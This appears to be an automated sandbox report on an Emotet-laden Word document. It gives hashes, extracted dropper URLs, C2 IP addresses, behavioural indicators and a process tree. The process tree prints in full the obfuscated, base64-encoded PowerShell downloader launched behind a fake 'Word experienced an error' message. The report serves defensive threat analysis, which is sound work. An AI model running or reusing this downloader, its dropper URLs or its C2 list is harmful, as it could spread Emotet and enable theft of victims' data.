emotet | 2d6cbcbc803638a13705a3b26afb3b34b72bc58601215566ba858c62882b8e61

General

Target

MAIL-0573188.doc
Size

165KB
MD5

7ad5e41d03b2dfe72af417fa5b0cc164
SHA1

2a6c0fa93aba9ce560d271ce65d79db69422fc6c
SHA256

2d6cbcbc803638a13705a3b26afb3b34b72bc58601215566ba858c62882b8e61
SHA512

83bc8a65c0316660f42a6d3cd4ed7e7432dd939ffa4b408f1f40d59cf2c7a842271a19b21308d5bc56de0ff382b9db7e8e05ff159e332588e02ca50b762a4ca8

Score

10^/10

emotet epoch1 banker trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://wpsapk.com/wp-admin/v/

exe.dropper

http://sofsuite.com/wp-includes/2jm3nIk/

exe.dropper

http://veterinariadrpopui.com/content/5f18Q/

exe.dropper

http://shop.elemenslide.com/wp-content/n/

exe.dropper

http://khanhhoahomnay.net/wordpress/CGMC/

exe.dropper

http://campusexpo.org/department-of-odhmmkd/95eXZY/

exe.dropper

https://gurztac.wtchevalier.com/wp-content/YzZ6YZ/

Extracted

Family

emotet

Botnet

Epoch1

C2

5.2.136.90:80

186.147.237.3:8080

138.197.99.250:8080

167.71.148.58:443

211.215.18.93:8080

187.162.248.237:80

1.226.84.243:8080

110.39.160.38:443

5.196.35.138:7080

59.148.253.194:8080

45.16.226.117:443

95.76.153.115:80

181.61.182.143:80

46.43.2.95:8080

188.135.15.49:80

81.215.230.173:443

45.4.32.50:80

81.214.253.80:443

94.176.234.118:443

212.71.237.140:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 776 1748 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	776	1748	cmd.exe

Blocklisted process makes network request 7 IoCs

Processes:

powershell.exerundll32.exe

flow	pid	process
6	1804	powershell.exe
8	1804	powershell.exe
10	1804	powershell.exe
12	1804	powershell.exe
13	1804	powershell.exe
15	1804	powershell.exe
17	1556	rundll32.exe

Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1088 rundll32.exe
1088 rundll32.exe
1088 rundll32.exe
1088 rundll32.exe

pid	process
1088	rundll32.exe
1088	rundll32.exe
1088	rundll32.exe
1088	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Bdqzidqy\tuduxnn.fhr	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1944 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

1804 powershell.exe
1804 powershell.exe
1556 rundll32.exe
1556 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1804 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1944 WINWORD.EXE
1944 WINWORD.EXE

pid	process
1944	WINWORD.EXE

pid	process
1804	powershell.exe
1804	powershell.exe
1556	rundll32.exe
1556	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1804	powershell.exe

pid	process
1944	WINWORD.EXE
1944	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 776 wrote to memory of 744	776	cmd.exe	msg.exe
PID 776 wrote to memory of 744	776	cmd.exe	msg.exe
PID 776 wrote to memory of 744	776	cmd.exe	msg.exe
PID 776 wrote to memory of 1804	776	cmd.exe	powershell.exe
PID 776 wrote to memory of 1804	776	cmd.exe	powershell.exe
PID 776 wrote to memory of 1804	776	cmd.exe	powershell.exe
PID 1804 wrote to memory of 1344	1804	powershell.exe	rundll32.exe
PID 1804 wrote to memory of 1344	1804	powershell.exe	rundll32.exe
PID 1804 wrote to memory of 1344	1804	powershell.exe	rundll32.exe
PID 1344 wrote to memory of 1088	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1088	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1088	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1088	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1088	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1088	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1088	1344	rundll32.exe	rundll32.exe
PID 1088 wrote to memory of 1556	1088	rundll32.exe	rundll32.exe
PID 1088 wrote to memory of 1556	1088	rundll32.exe	rundll32.exe
PID 1088 wrote to memory of 1556	1088	rundll32.exe	rundll32.exe
PID 1088 wrote to memory of 1556	1088	rundll32.exe	rundll32.exe
PID 1088 wrote to memory of 1556	1088	rundll32.exe	rundll32.exe
PID 1088 wrote to memory of 1556	1088	rundll32.exe	rundll32.exe
PID 1088 wrote to memory of 1556	1088	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\MAIL-0573188.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1944

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArACcAdwAnACsAKAAnAFsAMwA6ACcAKwAnAC8ALwBzAGgAJwArACcAbwBwACcAKwAnAC4AJwApACsAJwBlAGwAJwArACcAZQAnACsAKAAnAG0AZQBuACcAKwAnAHMAbAAnACsAJwBpACcAKQArACgAJwBkACcAKwAnAGUALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwAnACsAJwBuAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAvAC8AJwApACsAJwBrACcAKwAoACcAaAAnACsAJwBhAG4AJwApACsAKAAnAGgAJwArACcAaABvACcAKQArACgAJwBhAGgAbwAnACsAJwBtACcAKQArACgAJwBuAGEAeQAuAG4AZQAnACsAJwB0AC8AJwArACcAdwBvAHIAZABwACcAKQArACgAJwByAGUAJwArACcAcwAnACkAKwAoACcAcwAvACcAKwAnAEMAJwApACsAKAAnAEcATQBDAC8AQAAnACsAJwBdACcAKQArACcAYQBuACcAKwAnAHcAJwArACgAJwBbADMAOgAvACcAKwAnAC8AJwApACsAKAAnAGMAYQAnACsAJwBtACcAKQArACgAJwBwAHUAJwArACcAcwBlACcAKwAnAHgAcABvACcAKwAnAC4AbwByAGcALwBkAGUAJwApACsAJwBwACcAKwAoACcAYQByACcAKwAnAHQAbQBlAG4AJwApACsAJwB0ACcAKwAoACcALQAnACsAJwBvAGYALQBvAGQAaABtACcAKQArACgAJwBtAGsAZAAvADkANQBlAFgAJwArACcAWgAnACsAJwBZACcAKQArACgAJwAvAEAAXQBhAG4AdwBbACcAKwAnADMAcwA6AC8ALwBnACcAKwAnAHUAcgAnACsAJwB6AHQAYQAnACsAJwBjAC4AdwB0AGMAJwArACcAaABlACcAKQArACcAdgBhACcAKwAnAGwAJwArACcAaQBlACcAKwAnAHIAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AYwAnACkAKwAoACcAbwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AWQB6ACcAKwAnAFoAJwApACsAKAAnADYAJwArACcAWQBaAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAnAF0AYQAnACsAKAAnAG4AdwAnACsAJwBbADMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABYADQAMQBQACAAKwAgACQATwBsADkAbwBuAGsAaQAgACsAIAAkAEYAMgAxAEQAKQA7ACQATgAzADIARQA9ACgAKAAnAFUAOAAnACsAJwA4ACcAKQArACcATgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAMQA0ADUAcQBzAGwAIABpAG4AIAAkAFEAYwBlAGMAaAA0AGgAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAWQBzAFQAZQBtAC4ATgBlAHQALgBXAGUAQgBDAEwASQBlAE4AVAApAC4AIgBkAG8AYABXAE4AbABvAGEARABmAGAAaQBMAGUAIgAoACQASQAxADQANQBxAHMAbAAsACAAJABRADIAeQBnADkAZwBfACkAOwAkAEQAMAA4AFUAPQAoACgAJwBIACcAKwAnADQAOAAnACkAKwAnAEsAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFEAMgB5AGcAOQBnAF8AKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADAAMgA5ADkAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAUQAyAHkAZwA5AGcAXwAsACgAKAAnAEMAbwAnACsAJwBuAHQAJwApACsAKAAnAHIAbwAnACsAJwBsAF8AJwApACsAKAAnAFIAJwArACcAdQBuACcAKQArACcARAAnACsAJwBMAEwAJwApAC4AIgB0AGAATwBzAHQAcgBpAGAATgBHACIAKAApADsAJABEADYANwBIAD0AKAAnAEsAMwAnACsAJwBfAEsAJwApADsAYgByAGUAYQBrADsAJABZADUANABFAD0AKAAnAEIAJwArACgAJwA3ADYAJwArACcASwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA3ADMAVgA9ACgAJwBRACcAKwAoACcANAAnACsAJwAyAEQAJwApACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:776

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArACcAdwAnACsAKAAnAFsAMwA6ACcAKwAnAC8ALwBzAGgAJwArACcAbwBwACcAKwAnAC4AJwApACsAJwBlAGwAJwArACcAZQAnACsAKAAnAG0AZQBuACcAKwAnAHMAbAAnACsAJwBpACcAKQArACgAJwBkACcAKwAnAGUALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwAnACsAJwBuAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAvAC8AJwApACsAJwBrACcAKwAoACcAaAAnACsAJwBhAG4AJwApACsAKAAnAGgAJwArACcAaABvACcAKQArACgAJwBhAGgAbwAnACsAJwBtACcAKQArACgAJwBuAGEAeQAuAG4AZQAnACsAJwB0AC8AJwArACcAdwBvAHIAZABwACcAKQArACgAJwByAGUAJwArACcAcwAnACkAKwAoACcAcwAvACcAKwAnAEMAJwApACsAKAAnAEcATQBDAC8AQAAnACsAJwBdACcAKQArACcAYQBuACcAKwAnAHcAJwArACgAJwBbADMAOgAvACcAKwAnAC8AJwApACsAKAAnAGMAYQAnACsAJwBtACcAKQArACgAJwBwAHUAJwArACcAcwBlACcAKwAnAHgAcABvACcAKwAnAC4AbwByAGcALwBkAGUAJwApACsAJwBwACcAKwAoACcAYQByACcAKwAnAHQAbQBlAG4AJwApACsAJwB0ACcAKwAoACcALQAnACsAJwBvAGYALQBvAGQAaABtACcAKQArACgAJwBtAGsAZAAvADkANQBlAFgAJwArACcAWgAnACsAJwBZACcAKQArACgAJwAvAEAAXQBhAG4AdwBbACcAKwAnADMAcwA6AC8ALwBnACcAKwAnAHUAcgAnACsAJwB6AHQAYQAnACsAJwBjAC4AdwB0AGMAJwArACcAaABlACcAKQArACcAdgBhACcAKwAnAGwAJwArACcAaQBlACcAKwAnAHIAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AYwAnACkAKwAoACcAbwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AWQB6ACcAKwAnAFoAJwApACsAKAAnADYAJwArACcAWQBaAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAnAF0AYQAnACsAKAAnAG4AdwAnACsAJwBbADMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABYADQAMQBQACAAKwAgACQATwBsADkAbwBuAGsAaQAgACsAIAAkAEYAMgAxAEQAKQA7ACQATgAzADIARQA9ACgAKAAnAFUAOAAnACsAJwA4ACcAKQArACcATgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAMQA0ADUAcQBzAGwAIABpAG4AIAAkAFEAYwBlAGMAaAA0AGgAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAWQBzAFQAZQBtAC4ATgBlAHQALgBXAGUAQgBDAEwASQBlAE4AVAApAC4AIgBkAG8AYABXAE4AbABvAGEARABmAGAAaQBMAGUAIgAoACQASQAxADQANQBxAHMAbAAsACAAJABRADIAeQBnADkAZwBfACkAOwAkAEQAMAA4AFUAPQAoACgAJwBIACcAKwAnADQAOAAnACkAKwAnAEsAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFEAMgB5AGcAOQBnAF8AKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADAAMgA5ADkAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAUQAyAHkAZwA5AGcAXwAsACgAKAAnAEMAbwAnACsAJwBuAHQAJwApACsAKAAnAHIAbwAnACsAJwBsAF8AJwApACsAKAAnAFIAJwArACcAdQBuACcAKQArACcARAAnACsAJwBMAEwAJwApAC4AIgB0AGAATwBzAHQAcgBpAGAATgBHACIAKAApADsAJABEADYANwBIAD0AKAAnAEsAMwAnACsAJwBfAEsAJwApADsAYgByAGUAYQBrADsAJABZADUANABFAD0AKAAnAEIAJwArACgAJwA3ADYAJwArACcASwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA3ADMAVgA9ACgAJwBRACcAKwAoACcANAAnACsAJwAyAEQAJwApACkA
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL
3⤵
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1088

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bdqzidqy\tuduxnn.fhr",Control_RunDLL
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1556

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Nspzvsg\Sj_dwgs\R31N.dll
MD5
946dc0be85de7a88b07bf6b01de8a5f7

SHA1
cf08ddc1b3f0528c07f50d032ef3c1369844f5bf

SHA256
7f65bd0a667363065a67dccc847da877d148bb48543ee5adfe1924fa50ae9346

SHA512
fb04206aaa4b846898646bd2d07b866c5ab77900c17de04ae3ee6e21907a88cf9210e9debf86d4d866a8e95431e09fac9c5356013a52d6fd41abd79cef0d0df4

Download Submit
